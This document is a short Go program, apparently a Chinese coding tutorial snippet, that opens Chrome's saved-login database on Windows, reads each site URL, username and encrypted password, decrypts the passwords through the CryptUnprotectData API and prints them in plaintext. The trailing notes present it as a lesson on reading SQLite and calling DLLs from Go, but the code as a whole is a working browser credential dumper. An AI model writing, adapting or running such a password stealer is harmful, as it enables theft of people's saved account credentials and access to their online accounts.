package main
import (
"database/sql"
"fmt"
"log"
"os"
"syscall"
"unsafe"
sqlite3 "github.com/ccpaging/go-sqlite3-windll"
)
const (
CRYPTPROTECT_UI_FORBIDDEN = 0x1
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
)
func main() {
log.Printf("Is Windows 64: %v
", sqlite3.SQLiteWin64)
file := os.Getenv("LOCALAPPDATA")
file += "\Google\Chrome\User Data\Default\"
file += "Login Data"
db, err := sql.Open("sqlite3", file)
if err != nil {
log.Fatal(err)
}
defer db.Close()
rows, err := db.Query("select origin_url,username_value,password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
var origin_url, username, passwdEncrypt string
err = rows.Scan(&origin_url, &username, &passwdEncrypt)
if err != nil {
log.Fatal(err)
}
passwdByte := []byte(passwdEncrypt)
dataout, _ := Decrypt(passwdByte)
if username != "" && passwdEncrypt != "" {
fmt.Println(origin_url, username, string(dataout[:]))
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, CRYPTPROTECT_UI_FORBIDDEN, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
知识点:
golang读取sqlite3数据库
golang调用dll
参考链接:
https://github.com/iamacarpet/go-sqlite3-win64